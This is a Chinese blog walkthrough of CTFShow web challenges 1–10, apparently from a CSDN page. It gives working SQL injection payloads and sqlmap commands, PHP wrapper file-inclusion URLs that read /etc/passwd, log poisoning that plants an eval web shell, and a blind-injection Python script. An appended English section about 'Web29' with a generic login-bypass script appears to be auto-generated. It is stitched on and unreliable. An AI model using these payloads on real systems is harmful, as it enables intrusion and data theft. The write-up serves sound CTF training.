ctfshow 做题 web 方向 web1~web10

本文详细介绍了CTFShow中的多个Web安全挑战,涉及Base64解码、SQL注入、文件包含漏洞、PHP伪协议利用、盲注及MySQL绕过等技术,展示了Web安全攻防中的常见手法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ctfshow 做题 web 方向

——

web1 签到题

打开环境,页面中就一句话:where is flag ?
F12 查看源代码,注释中一串字符,猜测为 base64 编码。
在这里插入图片描述

base64 解码得 flag 。
在这里插入图片描述
——
——

web2

题目描述:最简单的 sql 注入。
打开环境是一个登录界面。
在这里插入图片描述

注入点应该就是用户名、密码的位置了。
用户名和密码的提交方式为 post ,用 burp抓包,复制数据包到新建 txt 文件。然后用 sqlmap 直接爆数据。
在这里插入图片描述

爆数据库:

python2 sqlmap.py -r C:\Users\Goodric\Desktop/1.txt -dbs

得到这些数据库。
在这里插入图片描述

爆数据库 web2 的表名:

python2 sqlmap.py -r C:\Users\Goodric\Desktop/1.txt -D web2 -tables

得到 web2 内的表名。
在这里插入图片描述

爆表 flag 里的列名:

python2 sqlmap.py -r C:\Users\Goodric\Desktop/1.txt -D web2 -T flag -columns

得到列名 flag 。
在这里插入图片描述

爆列名 flag 内的具体数据:

得到 flag 。
在这里插入图片描述
——
——

web3

题目描述: 更简单的web题
页面显示如下,可以看到 php 代码中的 include() 函数,应该为文件包含。
在这里插入图片描述

尝试用 php 伪协议访问文件 /etc/passwd

http://10c7b297-0b86-498c-b0ad-de723ddbb79e.challenge.ctf.show:8080/?url=php://filter/read=convert.base64-encode/resource=/etc/passwd

可以看到回显了经过 base64 编码的文件内容。
在这里插入图片描述

这里用 php://input 伪协议。
php://input:用于执行php代码,需要post请求提交数据。
前提条件:allow_url_fopen=on
抓包先改一下 url ,用 post 方式执行命令 ls ,得到存在文件:ctf_go_go_go 和 index.php
在这里插入图片描述

查看文件 ctf_go_go_go 的内容。
得到 flag 。
在这里插入图片描述
——
——

web4

打开页面,看起来跟前面那题一样。
在这里插入图片描述

当尝试用 php 伪协议访问 etc/passed 文件时,回显 error 。可能是过滤了构造中的某些字符。
再用一下 file 协议,

?url=file://…/…/…/…/…/…/…/…/…/…/…/etc/passwd

虽然没有报错,都是还是未回显,文件包含不成功。

这题可以用到日志注入
访问日志的默认目录:

?url=/var/log/nginx/access.log

成功回显了。
在这里插入图片描述

burp 抓包,在数据包中插入一句话木马:

<?php @eval($_POST['a']);?>

在这里插入图片描述

接下来就是用蚁剑连接。
在这里插入图片描述

得到 flag 文件。
在这里插入图片描述
——
——

web5

打开容器,是一段代码。
在这里插入图片描述

关键信息在这里:(需要参数 v1 和 v2 的 md5 值相同)

if(md5($v1)==md5($v2)){ echo $flag;

同时还有限制条件:(v1 需要全是字母,v2 需要全是数字)

if(isset($v1) && isset($v2)){          
  if(!ctype_alpha($v1)){                
  die("v1 error");           
   }            
  if(!is_numeric($v2)){               
   die("v2 error");

这里直接 md5 0e 绕过:

?v1=QNKCDZO&v2=240610708

得到flag 。
在这里插入图片描述

——
——

web6

进入环境是一个登录界面。
随便输入内容没有任何回显。
尝试万能密码:
用户名:1’or’1’or’1
密码:随便输
可以看到只是有回显,不是会进入某个页面。所以要进行注入回显。
在这里插入图片描述

尝试使用语句,回显:sql inject error
说明语句中存在被过滤的字符。
在这里插入图片描述

经过重新一个字符一个字符输入语句,得到被过滤的字符为空格。
一般空格被过滤,有如下替换方法:

/**/
()
回车(url编码中的%0a)
` (tab上面的那个健)
两个空格

这里可以使用 /**/ ,绕过过滤之后就可以进行注入语句了。
语句:

-1'/**/union/**/select/**/1,2,3#

得到回显位为 2 。
在这里插入图片描述

语句:

-1'/**/union/**/select/**/1,database(),3#

得到数据库名。
在这里插入图片描述

语句:

-1'/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#

这里还产生了一个疑问,为什么把语句都放在了数字 3 的后面,而不是全部在 2 的位置。
如果放在 2 的位置:(就没有回显)

-1'/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='web2',3#

得到数据库 web2 中的两个表名 flag 和 user 。
在这里插入图片描述

语句:

-1'/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema='web2'/**/and/**/table_name='flag'#

得到表 flag 表中的列 flag 。
在这里插入图片描述

语句:

-1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#

得到具体数据 flag 。
在这里插入图片描述

——
——

web7

进入环境,有三个可以点击的文章。
在这里插入图片描述

点开显示的文章列表,看到 url 中传入了参数 id 。
在这里插入图片描述

那就直接是 sql 注入了,尝试:

?id=1' or 1=1 #

显示 sql inject error ,语句存在错误有过滤。
在这里插入图片描述

测试之后,和前面那题一样,过滤了空格。
测试回显位:

?id=-1'/**/union/**/select/**/1,2,3#

得到回显位为 2 。
在这里插入图片描述
语句:

?id=-1'/**/union/**/select/**/1,database(),3#

得到数据库名为 web7 。
在这里插入图片描述
语句:

? id=-1'/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

得到数据库 web7 中的表名有 flag、page 和 user 。
在这里插入图片描述

到这里,想要继续爆列名,却发现语句无回显了:

id=-1'/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema='web7'/**/and/**/table_name='flag'#

暂不清楚到这里才无回显的原因,怎么前面有回显。
查了一下这里是用盲注,盲注手动的话需要一个字母一个字母测试有没有回显。
所以这里从网上拿了一个 python 脚本跑:

import requests
s=requests.session()
url='http://250e0178-dcc3-468e-bac1-b2ed56086770.challenge.ctf.show:8080/index.php' 
 //自己环境的 url
table=""

for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
#payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

if 'I asked nothing' in ra:
table += chr(j)
print(table)
break

可以看到再跑的脚本也是一个一个字母把最终结果慢慢试出来。
在这里插入图片描述

代码中有爆表名、爆字段名、爆数据三条语句。
跑哪条语句就把其它语句先注释掉,在语句内可修改爆哪个表或字段。
最终,跑到最后一条读取 flag 字段的数据,得到 flag 。
在这里插入图片描述

——
——

web8

题目描述:做到这一题,基本可以写简单的注入工具了
打开页面和前面那题一样
在这里插入图片描述

先进行简单的尝试:

?id=-1'/**/union/**/select/**/1,2,3#

回显: sql inject error
这题除了空格,还存在其它过滤的字符,经过一个一个字母试,得到逗号被过滤了。
不过前面那个脚本仍然还可以用,语句中不含逗号,

同样的脚本,爆出表名还是那三个:flag、page、user ,字段名有 flag 。
接着爆出字段名 flag 的数据,得到 flag 。
在这里插入图片描述

——
——

web9

进入环境是一个登录界面,给出了用户名,可输入密码。应该还是一题注入。
在这里插入图片描述

使用注入语句无回显,后来知道是要扫后台。
dirsearch 工具使用命令:

python3 dirsearch.py -u http://06c93661-b489-4c3f-ad1d-97f08191c9b9.challenge.ctf.show:8080/ -e php

扫出了 robots.txt
在这里插入图片描述

访问 /robots.txt
在这里插入图片描述

访问 /index.phps
在这里插入图片描述

打开这个文件,得到登录的源码。
在这里插入图片描述

根据源码,前面要求 password 长度不能大于 10 ,否则回显错误;后面关键语句:

$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";

这里有一个函数:

md5(string,raw) :
string 指规定要计算的字符串,
raw 有两个选项:
TRUE - 原始 16 字符二进制格式
FALSE - 默认,32 字符十六进制数

这里用到 md5 函数的绕过,将密码转换成16进制的 hex 值以后,再将其转换成字符串后语句中密码的位置就成了:'or’xxxx
原来的语句就成了:

username =‘admin’ and password =’ 'or ‘xxxx’

这样就可以注入了。因为 or 语句只要两边有一个为真即可绕过语句中 password 的验证。

上面这些可能比较难理解,不过在这里只要知道可以用一个字符串: ffifdyop
因为 ffifdyop 经过 md5 之后的值为: 276f722736c95d99e921722cf9ed621c ;
276f722736c95d99e921722cf9ed621c 再转成字符串就变成 ’ ’ ‘or’ xxx 拼接到语句中。

用密码 ffifdyop 登录,得到 flag 。
在这里插入图片描述

——
——

web10

打开环境,又是一个登录界面,与前一题相比用户名一栏未给出。
尝试随便输入,无回显。
在这里插入图片描述

尝试输入 1’ or 1=1
发现回显 sql inject error ,存在过滤,根据前面的题目,很容易找出空格被过滤,再尝试发现逗号也被过滤了。

在找线索过程中,意外发现点“取消”按钮直接得到源码文件。
在这里插入图片描述

打开源码文件。
在这里插入图片描述

根据源码:

$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";

可以得知过滤了这些关键字。需要在 username 框构造语句成功登录就能得到 flag 。

这里又可以新学一个 mysql 注入语句姿势:
group by : 对进行查询的结果进行分组。group by后跟什么,就按什么分组
with rollup: group by 后可以跟with rollup,可以在进行分组统计的基础上再次进行汇总统计。

达到的结果就是通过加入 with rollup 使 sql 语句查询结果 password 有一行为是 null ,在不输入 password 情况下就能达到源码中的条件 :

 $password==$row['password']

最终,构造的语句:

1'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#

得到 flag 。
在这里插入图片描述

### CTFShow Web29 Challenge Overview and Solution In the realm of Capture The Flag (CTF) competitions, platforms like CTFShow offer various challenges to hone cybersecurity skills. For the specific case of **Web29**, this challenge revolves around web security vulnerabilities that participants must exploit to gain access to a flag. The primary focus of Web29 is on SQL injection attacks within a login form interface[^1]. Participants are presented with an authentication page where they can input usernames and passwords. By manipulating these inputs using crafted SQL queries, one can bypass standard validation mechanisms set by the application developers. To solve Web29 successfully: A common technique involves injecting malicious code into both fields simultaneously while observing how responses change based upon different payloads used during testing phases. An effective payload might look something similar but not limited to `admin' --` which effectively comments out any remaining part of original query string after username field thus allowing unauthorized entry as administrator without needing actual credentials. Once authenticated through such means, further exploration inside backend systems may reveal hidden directories containing files necessary for completing task objectives—such as text documents holding flags required for submission back onto platform scoring system. ```python import requests url = "http://example.com/login" payloads = ["admin' --", "' OR '1'='1"] for p in payloads: data = {'username': p, 'password': ''} response = requests.post(url, data=data) if "Welcome admin" in response.text: print(f"[+] Successfully logged in with payload: {p}") break ``` This approach highlights fundamental principles behind exploiting insecure coding practices found across many real-world applications today; however, it should only be practiced within legal boundaries provided specifically designed environments meant for learning purposes alone—not against live sites without explicit permission from owners involved beforehand.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值